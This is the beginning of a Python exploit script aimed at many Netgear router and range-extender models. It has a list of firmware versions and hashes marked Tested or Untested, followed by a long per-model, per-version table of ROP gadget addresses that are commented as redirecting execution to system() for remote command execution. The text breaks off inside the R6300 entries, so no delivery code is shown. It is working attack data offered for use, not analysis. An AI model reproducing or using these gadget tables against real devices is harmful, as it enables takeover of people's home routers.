# WNDR4500v2V1.0.0.62_1.0.394134d640352f4d577f6185f4c0ebfb4aUntested
# WNDR4500v2V1.0.0.60_1.0.38d24a33895a62e79a4f78055520319e45Tested
# WNDR4500v2V1.0.0.56_1.0.361220bf91d071f907ad2642b550268b9bUntested
# WNDR4500v2V1.0.0.54_1.0.334b1967613a61bc6c2120069ba68a1d5bUntested
# WNDR4500v2V1.0.0.50_1.0.3015f6b8ea1aba81531f1c53f68519946fUntested
# WNDR4500v2V1.0.0.42_1.0.25544ccf81ef326f62455bdac3159cfc83Untested
# WNDR4500v2V1.0.0.36_1.0.2134ef5af300ef8a2c4528f29a5075610aUntested
# WNDR4500v2V1.0.0.26_1.0.16fb9ff113df712a183d6346c620ee87cdUntested
# WNR834Bv2 V2.1.13_2.1.132d6331f57ce223c595602c0a90926b0eUntested
# WNR834Bv2 V2.1.13_2.1.13NAc42048a86d1f24036fc03d065381809eTested
# WNR834Bv2 V2.0.8_2.0.86dc2d3a927cee46b2ef538d3ee6d54d9Untested
# WNR834Bv2 V2.0.8_2.0.8NAf146e01301d76991b6fdc8230ad5fb15Untested
# WNR834Bv2 V1.0.32_1.0.322529e65416073a7ec0f414314517bceaUntested
# WNR834Bv2 V1.0.32_1.0.32NAa7a8fc6ae466ec8cc90dda8253fba107Untested
# WNR1000v3 V1.0.2.72_60.0.96 d411870b5481c7cd0eb562910ef2c073Untested
# WNR1000v3 V1.0.2.72_60.0.96NA 295e02ba735bd0af037559d774b9a2dbTested
# WNR1000v3 V1.0.2.68_60.0.93 ff97e01e443cc81bb30f03fc0efe5308Untested
# WNR1000v3 V1.0.2.68_60.0.93NA 7ba59824dc432a51a535087b0d3ac81eUntested
# WNR1000v3 V1.0.2.62_60.0.87 29f0ec7ed9a0ce791646d81093d0c8e3Untested
# WNR1000v3 V1.0.2.62_60.0.87NA 245b31c66e707af407846dca4b9b7a8eUntested
# WNR1000v3 V1.0.2.60_60.0.86WW fe9d4fb399ba44f717a2939cd17072ceUntested
# WNR1000v3 V1.0.2.60_60.0.86NA 9cfaf1947bc6d5745faee53495293ff7Untested
# WNR1000v3 V1.0.2.54_60.0.82 1e268e025b02efcc0bb06c2b4625628bUntested
# WNR1000v3 V1.0.2.54_60.0.82NA 6e10842a669a29f1bfdd76473123d690Untested
# WNR1000v3 V1.0.2.28_52.0.60 420a11918e1f453f021e230d73406fb6Untested
# WNR1000v3 V1.0.2.28_52.0.60NA 509a52eb9a78f1ff769b0f0c84ad2b9dUntested
# WNR1000v3 V1.0.2.26_51.0.59 8767f575ddfbd4665d7dd05e42faf079Untested
# WNR1000v3 V1.0.2.26_51.0.59NA 6692853b230f3af1b690671a27bd059fUntested
# WNR1000v3 V1.0.2.18_47.0.52 1e40904ed44bf26bbfeecbd2c0dec4feUntested
# WNR1000v3 V1.0.2.18_47.0.52NA f6dafa4be552fe2a5753281a2f80c5ecUntested
# WNR1000v3 V1.0.2.4_39.0.39ef2240e32d1c7d76ca541c0d329d5a7dUntested
# WNR2000v2 V1.2.0.8_36.0.60777527ae69d32f5cd0fda49d9987c176Tested
# WNR2000v2 V1.2.0.8_36.0.60NA542ecd9c806cbbf4916e01bb89eeb5a8Untested
# WNR2000v2 V1.2.0.6_36.0.586d480f84ab1eda1f1ae3ed86a80e9b59Untested
# WNR2000v2 V1.2.0.6_36.0.58NA6d480f84ab1eda1f1ae3ed86a80e9b59Untested
# WNR2000v2 V1.2.0.4_35.0.571e628de1f92428df23cd55dfd223c068Untested
# WNR2000v2 V1.2.0.4_35.0.57NA6d1f447d9d84a86f9a08b46f506ff1d9Tested
# WNR2000v2 V1.0.0.40_32.0.54 043e419fd8c05607ec9e5b4482c95f13Tested
# WNR2000v2 V1.0.0.40_32.0.54NA 6b55ee8f255f57414338ee05282bdca9Untested
# WNR2000v2 V1.0.0.35_29.0.47 715eb802324b205e7f56a85d43665f7fUntested
# WNR2000v2 V1.0.0.34_29.0.45 51eaa4d099f0cdb46f633564f62f8497Untested
# WNR2000v2 V1.0.0.34_29.0.45NA 577a2e81d0dd7d34bee9c63819538f76Untested
# WNR3500 V1.0.36_8.0.36NAd860aaf29860050a007e633b89664974Tested
# WNR3500 V1.0.30_8.0.301f848e4d7e6703048cf0181824fb609bUntested
# WNR3500 V1.0.29_8.0.29NA3c1fdb2291946a0a926807695c12628cUntested
# WNR3500 V1.0.22_6.0.22d8a129dfaea562433cf80be956300b2fUntested
# WNR3500 V1.0.22_6.0.22NA45a17326c49ac43bcb6b18afb3c0b5f5Untested
# WNR3500 V1.0.15_1.0.15NAe070997c460f44ab988a04a0efce13bbUntested
# WNR3500 V1.0.10_1.0.10NA5977786564b864cbf4e42cdd797616baUntested
# WNR3500v2 V1.2.2.28_25.0.85 e8693f52138f70fa9ada17e963a6afb4Untested
# WNR3500v2 V1.2.2.28_25.0.85NA bf5336cceb49ac9bb9448e53147f869cUntested
# WNR3500v2 V1.0.2.14_24.0.74 6b443549f93556df02d9e1d9f93b3ce2Untested
# WNR3500v2 V1.0.2.14_24.0.74NA 386f51b17623cbc359fc3135baf40b0aUntested
# WNR3500v2 V1.0.2.10_23.0.70 46436291f6c3e3d27648d595fef53ae7Untested
# WNR3500v2 V1.0.2.10_23.0.70NA 3e5c2fc4a6466b601da6187868d93da1Untested
# WNR3500v2 V1.0.0.64_11.0.51 d0c84ea109ab5acd924a3e89adf530f0Untested
# WNR3500v2 V1.0.0.64_11.0.51NA 139e55982a1b17e078172bd4f9396abdUntested
# WNR3500LV1.2.2.48_35.0.55NA 94a53de4ee1a4157072b96bedaec92afTested
# WNR3500LV1.2.2.44_35.0.53 c22b8c6b14d29a9e5610b1db5f516dfbUntested
# WNR3500LV1.2.2.44_35.0.53NA 5e37f509dfa90a0d50532d5a8f58e0e7Tested
# WNR3500LV1.2.2.40_34.0.48 e5ddafb1962c69c5fed3c7a107bb8f6fUntested
# WNR3500LV1.2.2.40_34.0.48NA 72b02a418f587ff453cf4fd22aff9220Untested
# WNR3500LV1.2.2.30_34.0.37 70d568a9b4a5a7691d2efc8197fdf7c5Untested
# WNR3500LV1.2.2.30_34.0.37NA 5a6bd3069dc06833bf48eedd9394404eUntested
# WNR3500LV1.0.2.50_31.1.25 e9931e6dc7e2bd65f8b62609c108439bTested
# WNR3500LV1.0.2.50_31.1.25NA fe186aa9a4636ad1a5914337f6ca7abfUntested
# WNR3500LV1.0.2.26_30.0.98 517b93770badf97ffec0b86bfda4f023Untested
# WNR3500LV1.0.2.26_30.0.98NA 27f4a60eccc9d5a444b889abb8711870Untested
# WNR3500LV1.0.0.88_13.0.76 0df99aa41a37b89bca3b987a89cc8d94Untested
# WNR3500LV1.0.0.88_13.0.76NA c56d6ec2595a35dc42fb069df34d2446Untested
# WNR3500LV1.0.0.86_13.0.75 c3408d55c826743cf772599c54b0bf18Untested
# WNR3500LV1.0.0.86_13.0.75NA 58f6b918e96bd9a55cfa18a3358690cdUntested
# WNR3500Lv2V1.2.0.56_50.0.96 8ce62e097cc3d1872c7e8d7d08c63ce4Tested
# WNR3500Lv2V1.2.0.54_50.0.94 b350794ce4fec6ccf730b811a676bf3dUntested
# WNR3500Lv2V1.2.0.50_50.0.90 71de09faa64e5a4d6c78a476b57c8f77Untested
# WNR3500Lv2V1.2.0.48_40.0.88 78d236e8d0f23db2e2c9645bdfd308eeUntested
# WNR3500Lv2V1.2.0.46_40.0.86 603d5ce196612709fcd8122b8a09cdaaUntested
# WNR3500Lv2V1.2.0.44_40.0.84 c745ed78281129c513d5d96471c2f250Untested
# WNR3500Lv2V1.2.0.40_40.0.80 d6de6022ff9381fb354c68008858c5abUntested
# WNR3500Lv2V1.2.0.38_40.0.78 902b6264511eb4067c8f37c3d2405d38Untested
# WNR3500Lv2V1.2.0.34_40.0.75 e5b431877b953c9d5699003af3f5dc8dUntested
# WNR3500Lv2V1.2.0.32_40.0.74 5d8f4bd2d847ec1f6274546dea54ce02Untested
# WNR3500Lv2V1.2.0.28_40.0.72 582fb44d1d46856fdd7168ad4e37514aUntested
# WNR3500Lv2V1.2.0.26_40.0.71 adbd30a2e76dfb0676f21ff7afcbb76eUntested
# WNR3500Lv2V1.2.0.20_40.0.68 05f2658e63f0f8e7b32e1c8d945f6834Untested
# WNR3500Lv2V1.2.0.18_40.0.67 3a35d7237573c8e21c048dfcc0715039Untested
# WNR3500Lv2V1.2.0.16_40.0.66 6b65c8d0cba353d655abc311caa28741Untested
# WNR3500Lv2V1.0.0.14_37.0.50 29dba756cc53cbaab1ec11c3a509f0a2Untested
# WNR3500Lv2V1.0.0.10 af2d51ddebe58e58aad5309b63eb6c45Untested
# XR300 V1.0.3.38_10.3.30 e0b2fc5b04cd98e794df05ebac65e596Untested
# XR300 V1.0.3.34_10.3.27 7e20864385587876e149b9b745568f39Untested
# XR300 V1.0.3.26_10.3.22 69f1ce725f125e266a27c9419cdb82ccUntested
# XR300 V1.0.2.24_10.3.21 ab533f222aa912f02550ffb59379b728Untested
# XR300 V1.0.2.18_10.3.15 df58b36f5047a5e6092b91851b46d235Untested
# XR300 V1.0.1.4_10.1.4 c15de8b9c78405d565b29c5a2a01eda1Untested
#
import SimpleHTTPServer
import SocketServer
import argparse
import collections
import os
import shutil
import socket
import struct
import sys
import time
###########################################################################
## Version Info ###########################################################
###########################################################################
# Gadget addresses used in the exploit.
address_info = {
"AC1450" : {
# 0) gadget: calls system($sp)
"1.0.0.36" : 0x2958c,
"1.0.0.34" : 0x28bd8,
"1.0.0.22" : 0x27cc4,
"1.0.0.14" : 0x27cc4,
"1.0.0.8": 0x27ca4,
"1.0.0.6": 0x27ca4,
},
"D6220" : {
# 0) gadget: calls system($sp+0x18)
"1.0.0.52" : 0x417CF8,
"1.0.0.48" : 0x417CF8,
"1.0.0.46" : 0x417CF8,
"1.0.0.44" : 0x4179B8,
"1.0.0.40" : 0x4179B8,
"1.0.0.36" : 0x417864,
"1.0.0.34" : 0x417864,
"1.0.0.32" : 0x4178D4,
"1.0.0.28" : 0x417804,
"1.0.0.24" : 0x41736C,
"1.0.0.22" : 0x416F54,
"1.0.0.16" : 0x416034,
},
"D6300" : {
# 0) gadget: set $t9 to system (by calling system(NULL) when $s0 is 0)
# 1) gadget: set $a0 to $sp+0x19 and calls $t9
"1.0.0.102" : [0x44232C, 0x412D40],
"1.0.0.96": [0x441CFC, 0x412BA8],
"1.0.0.90": [0x441CFC, 0x412BA8],
"1.0.0.88": [0x441D2C, 0x412BA8],
"1.0.0.76": [0x4418BC, 0x412A88],
"1.0.0.72": [0x440C8C, 0x412748],
"1.0.0.42": [0x438224, 0x411CB4],
"1.0.0.30": [0x438224, 0x411CB4],
"1.0.0.24": [0x437FC4, 0x411C34],
"1.0.0.16": [0x438024, 0x411BA8],
},
"D6400" : {
# 0) gadget: calls system($sp+0x18)
"1.0.0.88" : 0x417CA8,
"1.0.0.86" : 0x417CA8,
"1.0.0.82" : 0x417CA8,
"1.0.0.80" : 0x417CA8,
"1.0.0.78" : 0x417968,
"1.0.0.74" : 0x417968,
"1.0.0.70" : 0x417814,
"1.0.0.68" : 0x417814,
"1.0.0.66" : 0x4177B4,
"1.0.0.60" : 0x4176E4,
"1.0.0.58" : 0x4172FC,
"1.0.0.56" : 0x416EF4,
"1.0.0.54" : 0x416764,
"1.0.0.52" : 0x4160C4,
"1.0.0.44" : 0x415FC4,
"1.0.0.38" : 0x434B28,
"1.0.0.34" : 0x433FD8,
"1.0.0.22" : 0x432098,
},
"D7000V2" : {
# 0) gadget: calls system($sp+0x18)
"1.0.0.56" : 0x41667C,
"1.0.0.53" : 0x41667C,
"1.0.0.52" : 0x41667C,
"1.0.0.51" : 0x41667C,
"1.0.0.47" : 0x41631C,
"1.0.0.45" : 0x41627C,
"1.0.0.44" : 0x41627C,
"1.0.0.40" : 0x41619C,
"1.0.0.38" : 0x415D4C,
},
"D8500" : {
# 0) gadget: calls system($sp)
"1.0.3.44" : 0x3b3f8,
"1.0.3.43" : 0x3afd0,
"1.0.3.42" : 0x3afd0,
"1.0.3.39" : 0x3ac0c,
"1.0.3.36" : 0x3a9c8,
"1.0.3.35" : 0x3a994,
"1.0.3.28" : 0x3a500,
"1.0.3.27" : 0x3a254,
"1.0.3.25" : 0x39d88,
},
"DC112A" : {
# 0) gadget: calls system($sp)
"1.0.0.44" : 0x2e3cc,
"1.0.0.30" : 0x2d0e0,
"1.0.0.24" : 0x2d224,
},
"DGN2200" : {
# 0) set $a0 to $sp+0x1B9 then jumps to $s1
# 1) calls system without setting $a0
"1.0.0.58" : [0x44DD40, 0x44BCEC],
"1.0.0.57" : [0x44D3A0, 0x44B360],
"1.0.0.55" : [0x44D300, 0x44B2C0],
"1.0.0.52" : [0x44BEF0, 0x449EB0],
"1.0.0.50NA" : [0x44BA54, 0x449A14],
"1.0.0.36" : [0x449438, 0x447490],
"1.0.0.36NA" : [0x44908C, 0x4470E4],
},
"DGN2200V4" : {
# 0) gadget: set $t9 to system (by calling system(NULL) when $s0 is 0)
# 1) gadget: set $a0 to $sp+0x19 and calls $t9
"1.0.0.110" : [0x4336D4, 0x407370],
"1.0.0.108" : [0x4331C4, 0x407370],
"1.0.0.102" : [0x432F64, 0x407370],
"1.0.0.98": [0x432CF4, 0x4072A0],
"1.0.0.90": [0x432BA4, 0x407280],
"1.0.0.86": [0x4328A4, 0x407280],
"1.0.0.82": [0x431E44, 0x407220],
"1.0.0.76": [0x431954, 0x4071E0],
"1.0.0.66": [0x431104, 0x41232C],
"1.0.0.62": [0x431104, 0x41232C],
"1.0.0.58": [0x431104, 0x41232C],
"1.0.0.46": [0x431104, 0x41232C],
"1.0.0.24": [0x42BAE0, 0x412278],
"1.0.0.5" : [0x42B150, 0x411D5C],
},
"DGN2200M" : {
# 0) gadget: set $t9 to system (by calling system(NULL) when $s0 is 0)
# 1) gadget: set $a0 to $sp+0x19 and calls $t9
"1.0.0.37" : [0x486B70, 0x411F88],
"1.0.0.35" : [0x484560, 0x411EE8],
"1.0.0.35NA" : [0x483F90, 0x411F08],
"1.0.0.33" : [0x483D90, 0x411F34],
"1.0.0.33NA" : [0x483780, 0x411F54],
"1.0.0.26" : [0x474B60, 0x410520],
"1.0.0.24NA" : [0x474350, 0x4104D8],
},
"DGND3700" : {
# 0) gadget: set $t9 to system (by calling system(NULL) when $s0 is 0)
# 1) gadget: set $a0 to $sp+0x19 and calls $t9
"1.0.0.17" : [0x484EF4, 0x4107DC],
"1.0.0.17NA" : [0x4848F4, 0x4107DC],
"1.0.0.12" : [0x484914, 0x4107BC],
"1.0.0.12NA" : [0x484314, 0x4107BC],
},
"EX3700" : {
# 0) The $gp value so that a 'lw $t9, memset' will actually load system's address
# 1) gadget: lw $gp,0x10($sp); lw $ra,0x1c($sp);
# - The end of the _init_proc function
# 2) gadget: set $fp to $sp, set $a0 to $sp+0x21, and calls memset
# - The beginning of the build_asp_handler_table function
"1.0.0.78" : [0x61fdf0+0x724, 0x40b680, 0x41d3c4],
"1.0.0.76" : [0x61f1c0+0x724, 0x40b6b8, 0x41d3a4],
"1.0.0.72" : [0x61df20+0x73c, 0x40b8b0, 0x41e064],
"1.0.0.70" : [0x61dcd0+0x740, 0x40b874, 0x41e024],
"1.0.0.68" : [0x621d20+0x734, 0x40b650, 0x41c8d8],
"1.0.0.64" : [0x61e020+0x72c, 0x40b544, 0x41c7c8],
"1.0.0.62" : [0x61dd20+0x72c, 0x40b544, 0x41c618],
"1.0.0.58" : [0x61dd20+0x72c, 0x40b544, 0x41c618],
"1.0.0.50" : [0x61dcc0+0x72c, 0x40b544, 0x41c618],
"1.0.0.48" : [0x61ecb0+0x730, 0x40b684, 0x41ea4c],
"1.0.0.46" : [0x61df10+0x730, 0x40b684, 0x41ea4c],
"1.0.0.44" : [0x61de40+0x730, 0x40b684, 0x41ea4c],
"1.0.0.34" : [0x61ddb0+0x730, 0x40b684, 0x41ea4c],
"1.0.0.28" : [0x61ddb0+0x730, 0x40b684, 0x41ea4c],
"1.0.0.26" : [0x61d610+0x72c, 0x40b61c, 0x41e9dc],
"1.0.0.24" : [0x61d580+0x72c, 0x40b61c, 0x41e9dc],
"1.0.0.22" : [0x61d440+0x72c, 0x40b61c, 0x41e9dc],
},
"EX3800" : {
# 0) The $gp value so that a 'lw $t9, memset' will actually load system's address
# 1) gadget: lw $gp,0x10($sp); lw $ra,0x1c($sp);
# - The end of the _init_proc function
# 2) gadget: set $fp to $sp, set $a0 to $sp+0x21, and calls memset
# - The beginning of the build_asp_handler_table function
"1.0.0.78" : [0x61fdf0+0x724, 0x40b680, 0x41d3c4],
"1.0.0.76" : [0x61f1c0+0x724, 0x40b6b8, 0x41d3a4],
"1.0.0.72" : [0x61df20+0x73c, 0x40b8b0, 0x41e064],
"1.0.0.70" : [0x61dcd0+0x740, 0x40b874, 0x41e024],
"1.0.0.68" : [0x621d20+0x734, 0x40b650, 0x41c8d8],
"1.0.0.64" : [0x61e020+0x72c, 0x40b544, 0x41c7c8],
"1.0.0.62" : [0x61dd20+0x72c, 0x40b544, 0x41c618],
"1.0.0.58" : [0x61dd20+0x72c, 0x40b544, 0x41c618],
"1.0.0.50" : [0x61dcc0+0x72c, 0x40b544, 0x41c618],
"1.0.0.48" : [0x61ecb0+0x730, 0x40b684, 0x41ea4c],
"1.0.0.46" : [0x61df10+0x730, 0x40b684, 0x41ea4c],
"1.0.0.44" : [0x61de40+0x730, 0x40b684, 0x41ea4c],
"1.0.0.34" : [0x61ddb0+0x730, 0x40b684, 0x41ea4c],
"1.0.0.28" : [0x61ddb0+0x730, 0x40b684, 0x41ea4c],
"1.0.0.26" : [0x61d610+0x72c, 0x40b61c, 0x41e9dc],
},
"EX3920" : {
# 0) The $gp value so that a 'lw $t9, memset' will actually load system's address
# 1) gadget: lw $gp,0x10($sp); lw $ra,0x1c($sp);
# - The end of the _init_proc function
# 2) gadget: set $fp to $sp, set $a0 to $sp+0x21, and calls memset
# - The beginning of the build_asp_handler_table function
"1.0.0.78" : [0x61fdf0+0x724, 0x40b680, 0x41d3c4],
"1.0.0.76" : [0x61f1c0+0x724, 0x40b6b8, 0x41d3a4],
"1.0.0.72" : [0x61df20+0x73c, 0x40b8b0, 0x41e064],
"1.0.0.70" : [0x61dcd0+0x740, 0x40b874, 0x41e024],
"1.0.0.68" : [0x621d20+0x734, 0x40b650, 0x41c8d8],
"1.0.0.64" : [0x61e020+0x72c, 0x40b544, 0x41c7c8],
"1.0.0.62" : [0x61dd20+0x72c, 0x40b544, 0x41c618],
"1.0.0.58" : [0x61dd20+0x72c, 0x40b544, 0x41c618],
"1.0.0.50" : [0x61dcc0+0x72c, 0x40b544, 0x41c618],
"1.0.0.48" : [0x61ecb0+0x730, 0x40b684, 0x41ea4c],
"1.0.0.46" : [0x61df10+0x730, 0x40b684, 0x41ea4c],
"1.0.0.44" : [0x61de40+0x730, 0x40b684, 0x41ea4c],
"1.0.0.34" : [0x61ddb0+0x730, 0x40b684, 0x41ea4c],
"1.0.0.28" : [0x61ddb0+0x730, 0x40b684, 0x41ea4c],
"1.0.0.26" : [0x61d610+0x72c, 0x40b61c, 0x41e9dc],
},
"EX6000" : {
# 0) The $gp value so that a 'lw $t9, memset' will actually load system's address
# 1) gadget: lw $gp,0x10($sp); lw $ra,0x1c($sp);
# - The end of the _init_proc function
# 2) gadget: set $fp to $sp, set $a0 to $sp+0x21, and calls memset
# - The beginning of the build_asp_handler_table function
"1.0.0.38" : [0x61fd80+0x724, 0x40b680, 0x41d3c4],
"1.0.0.32" : [0x61deb0+0x73c, 0x40b8b0, 0x41e064],
"1.0.0.30" : [0x61dcd0+0x740, 0x40b874, 0x41e024],
"1.0.0.28" : [0x621d20+0x734, 0x40b650, 0x41c8d8],
"1.0.0.24" : [0x61dfb0+0x72c, 0x40b544, 0x41c7c8],
"1.0.0.20" : [0x61dd20+0x72c, 0x40b544, 0x41c618],
"1.0.0.10" : [0x61e000+0x730, 0x40b684, 0x41ea4c],
},
"EX6100" : {
# 0) The $gp value so that a 'lw $t9, memset' will actually load system's address
# 1) gadget: lw $gp,0x10($sp); lw $ra,0x1c($sp);
# - The end of the _init_proc function
# 2) gadget: set $fp to $sp, set $a0 to $sp+0x21, and calls memset
# - The beginning of the build_asp_handler_table function
"1.0.2.24" : [0x61e590+0x72c, 0x40b5b4, 0x41d0f4],
"1.0.2.18" : [0x6235e0+0x740, 0x40b6a4, 0x41c778],
"1.0.2.16" : [0x6235e0+0x740, 0x40b6a4, 0x41c778],
"1.0.2.6": [0x6235e0+0x740, 0x40b6a4, 0x41c7a8],
"1.0.1.36" : [0x6225e0+0x740, 0x40b684, 0x41c588],
"1.0.0.28" : [0x5df540+0x700, 0x40aef8, 0x41ffa4],
"1.0.0.22" : [0x5de4f0+0x700, 0x40aedc, 0x41ff60],
},
"EX6120" : {
# 0) The $gp value so that a 'lw $t9, memset' will actually load system's address
# 1) gadget: lw $gp,0x10($sp); lw $ra,0x1c($sp);
# - The end of the _init_proc function
# 2) gadget: set $fp to $sp, set $a0 to $sp+0x21, and calls memset
# - The beginning of the build_asp_handler_table function
"1.0.0.48" : [0x61fdf0+0x724, 0x40b680, 0x41d3c4],
"1.0.0.46" : [0x61f1d0+0x724, 0x40b6b8, 0x41d3a4],
"1.0.0.42" : [0x61df20+0x73c, 0x40b8b0, 0x41e064],
"1.0.0.40" : [0x61dcd0+0x740, 0x40b874, 0x41e024],
"1.0.0.36" : [0x621d20+0x734, 0x40b650, 0x41c8d8],
"1.0.0.32" : [0x61e020+0x72c, 0x40b544, 0x41c7c8],
"1.0.0.30" : [0x61dd20+0x72c, 0x40b544, 0x41c618],
"1.0.0.28" : [0x61dd20+0x72c, 0x40b544, 0x41c618],
"1.0.0.26" : [0x61dd20+0x72c, 0x40b544, 0x41c618],
"1.0.0.16" : [0x61e4b0+0x730, 0x40b684, 0x41ea4c],
"1.0.0.14" : [0x61dfc0+0x730, 0x40b684, 0x41ea4c],
"1.0.0.8": [0x61dfc0+0x730, 0x40b684, 0x41ea4c],
"1.0.0.4": [0x61df60+0x730, 0x40b684, 0x41ea4c],
},
"EX6130" : {
# 0) The $gp value so that a 'lw $t9, memset' will actually load system's address
# 1) gadget: lw $gp,0x10($sp); lw $ra,0x1c($sp);
# - The end of the _init_proc function
# 2) gadget: set $fp to $sp, set $a0 to $sp+0x21, and calls memset
# - The beginning of the build_asp_handler_table function
"1.0.0.30" : [0x61fdf0+0x724, 0x40b680, 0x41d3c4],
"1.0.0.28" : [0x61f1d0+0x724, 0x40b6b8, 0x41d3a4],
"1.0.0.24" : [0x61df20+0x73c, 0x40b8b0, 0x41e064],
"1.0.0.22" : [0x61dcd0+0x740, 0x40b874, 0x41e024],
"1.0.0.20" : [0x621d20+0x734, 0x40b650, 0x41c8d8],
"1.0.0.16" : [0x61dd20+0x72c, 0x40b544, 0x41c5e8],
"1.0.0.12" : [0x61dd20+0x72c, 0x40b544, 0x41c618],
},
"EX6150" : {
# 0) The $gp value so that a 'lw $t9, memset' will actually load system's address
# 1) gadget: lw $gp,0x10($sp); lw $ra,0x1c($sp);
# - The end of the _term_proc function
# 2) gadget: set $fp to $sp, set $a0 to $sp+0x25, and calls memset
# - The beginning of the build_asp_handler_table function
"1.0.0.42" : [0x56ab80+0x2e8, 0x522b40, 0x417748],
"1.0.0.34" : [0x570f00+0x208, 0x522ff0, 0x416b50],
"1.0.0.32" : [0x570d30+0x208, 0x522ff0, 0x416b50],
"1.0.0.28" : [0x570d20+0x208, 0x522ff0, 0x416b50],
"1.0.0.16" : [0x570b90+0x208, 0x522e00, 0x416b50],
"1.0.0.14" : [0x570b00+0x204, 0x522e20, 0x418828],
},
"EX6200" : {
# 0) gadget: calls system($sp)
"1.0.3.90" : 0x226f8,
"1.0.3.88" : 0x226f8,
"1.0.3.82" : 0x223fc,
"1.0.3.76" : 0x220d0,
"1.0.3.74" : 0x220b0,
"1.0.3.68" : 0x21f50,
"1.0.1.60" : 0x21260,
"1.0.0.52" : 0x20e2c,
"1.0.0.46" : 0x20e2c,
"1.0.0.42" : 0x20e2c,
"1.0.0.38" : 0x20df0,
},
"EX6920" : {
# 0) The $gp value so that a 'lw $t9, memset' will actually load system's address
# 1) gadget: lw $gp,0x10($sp); lw $ra,0x1c($sp);
# - The end of the _init_proc function
# 2) gadget: set $fp to $sp, set $a0 to $sp+0x21, and calls memset
# - The beginning of the build_asp_handler_table function
"1.0.0.40" : [0x61dcd0+0x740, 0x40b874, 0x41e024],
"1.0.0.36" : [0x621d20+0x734, 0x40b650, 0x41c8d8],
"1.0.0.32" : [0x61e020+0x72c, 0x40b544, 0x41c7c8],
"1.0.0.30" : [0x61dd20+0x72c, 0x40b544, 0x41c618],
"1.0.0.28" : [0x61dd20+0x72c, 0x40b544, 0x41c618],
"1.0.0.26" : [0x61dd20+0x72c, 0x40b544, 0x41c618],
"1.0.0.16" : [0x61e4b0+0x730, 0x40b684, 0x41ea4c],
"1.0.0.14" : [0x61dfc0+0x730, 0x40b684, 0x41ea4c],
"1.0.0.8": [0x61dfc0+0x730, 0x40b684, 0x41ea4c],
"1.0.0.4": [0x61df60+0x730, 0x40b684, 0x41ea4c],
},
"EX7000" : {
# 0) gadget: calls system($sp)
"1.0.1.84" : 0x26f64,
"1.0.1.80" : 0x26f64,
"1.0.1.78" : 0x26d8c,
"1.0.0.66" : 0x2352c,
"1.0.0.62" : 0x2287c,
"1.0.0.58" : 0x2287c,
"1.0.0.56" : 0x2287c,
"1.0.0.50" : 0x225d4,
"1.0.0.42" : 0x22430,
"1.0.0.38" : 0x22370,
"1.0.0.36" : 0x223bc,
"1.0.0.32" : 0x22bc0,
"1.0.0.30" : 0x22bc0,
},
"LG2200D" : {
# 0) gadget: calls system($sp+0x78)
"1.0.0.57" : 0x44f90c,
},
"MBM621" : {
# 0) gadget: calls system($sp+0x18)
"1.1.3" : 0x4126b8,
},
"MBR624GU" : {
# 0) gadget: calls system($sp)
"6.1.30.64" : 0x19728,
"6.1.30.61" : 0x19680,
"6.1.30.59" : 0x19680,
"6.1.30.59NA" : 0x19394,
"6.0.30.46" : 0x196ac,
"6.0.28.43" : 0x1932c,
"6.0.28.43NA" : 0x19618,
"6.0.26.21" : 0x1897c,
"6.0.22.14NA" : 0x18190,
"6.0.22.12" : 0x18190,
},
"MBR1200" : {
# 0) gadget: set $t9 to system (by calling system(NULL) when $s0 is 0)
# 1) gadget: set $a0 to $sp+0x19 and calls $t9
"1.2.2.53" : [0x4711C0, 0x40CDD0],
},
"MBR1515" : {
# 0) gadget: set $t9 to system (by calling system(NULL) when $s0 is 0)
# 1) gadget: set $a0 to $sp+0x19 and calls $t9
"1.2.2.68" : [0x48CFE0, 0x412A38],
},
"MBR1516" : {
# 0) gadget: set $t9 to system (by calling system(NULL) when $s0 is 0)
# 1) gadget: set $a0 to $sp+0x19 and calls $t9
"1.2.2.84BM" : [0x48A210, 0x412534],
},
"MBRN3000" : {
# 0) gadget: set $t9 to system (by calling system(NULL) when $s0 is 0)
# 1) gadget: set $a0 to $sp+0x19 and calls $t9
"1.0.0.74" : [0x462750, 0x40CB10],
"1.0.0.72" : [0x4602A0, 0x40CA20],
"1.0.0.72NA" : [0x45FF40, 0x40CA40],
"1.0.0.69" : [0x45FB80, 0x40CA68],
"1.0.0.69NA" : [0x45F7F0, 0x40CA98],
"1.0.0.65" : [0x45FA30, 0x40CA38],
"1.0.0.65NA" : [0x45F6B0, 0x40CA78],
"1.0.0.43NA" : [0x45BE74, 0x40C34C],
},
"MVBR1210C" : {
# 0) gadget: set $t9 to system (by calling system(NULL) when $s0 is 0)
# 1) gadget: set $a0 to $sp+0x19 and calls $t9
"1.2.0.35" : [0x48AA20, 0x41113C],
},
"R4500" : {
# 0) gadget: calls system($sp+0x78)
"1.0.0.4" : 0x4430dc,
},
"R6200" : {
# 0) gadget: set $t9 to system (by calling system(NULL) when $s0 is 0)
# 1) gadget: set $a0 to $sp+0x19 and calls $t9
"1.0.1.58" : [0x43DBA8, 0x41A4EC],
"1.0.1.56" : [0x43DB58, 0x41A4EC],
"1.0.1.52" : [0x43DB58, 0x41A4EC],
"1.0.1.48" : [0x43D028, 0x41A2AC],
"1.0.1.46" : [0x43CEB8, 0x41A0DC],
"1.0.0.28" : [0x43B808, 0x419598],
"1.0.0.18" : [0x43AD90, 0x418BC8],
},
"R6200V2" : {
# 0) gadget: calls system($sp)
"1.0.3.12" : 0x2c460,
"1.0.3.10" : 0x2c430,
"1.0.1.20" : 0x280dc,
"1.0.1.18" : 0x280dc,
"1.0.1.16" : 0x280dc,
"1.0.1.14" : 0x280dc,
},
"R6250" : {
# 0) gadget: calls system($sp)
"1.0.4.38" : 0x2f2dc,
"1.0.4.36" : 0x2f2dc,
"1.0.4.34" : 0x2f2e4,
"1.0.4.26" : 0x2eba0,
"1.0.4.20" : 0x2e82c,
"1.0.4.16" : 0x2d82c,
"1.0.4.14" : 0x2d718,
"1.0.4.12" : 0x2d708,
"1.0.4.08" : 0x2d0b0,
"1.0.4.06" : 0x2cf58,
"1.0.4.02" : 0x2ccac,
"1.0.3.12" : 0x2c430,
"1.0.3.06" : 0x2c430,
"1.0.1.84" : 0x28100,
"1.0.1.82" : 0x28100,
"1.0.1.80" : 0x28100,
"1.0.0.72" : 0x27cd8,
"1.0.0.70" : 0x27cd8,
"1.0.0.62" : 0x27cd8,
},
"R6300" : {
# 0) gadget: calls system($sp+0x78)
"1.0.2.80" : 0x44727C,
"1.0.2.78" : 0x446C2C,
"1.0.2.76" : 0x446C2C,
"1.0.2.70" : 0x446A3C,
"1.0.2.68" : 0x446A3C,
"1.0.2.38" : 0x44673C,
"1.0.2.36" : 0x44673C,
"1.0.2.26" : 0x445E1C,
"1.0.2.14" : 0x4443CC,
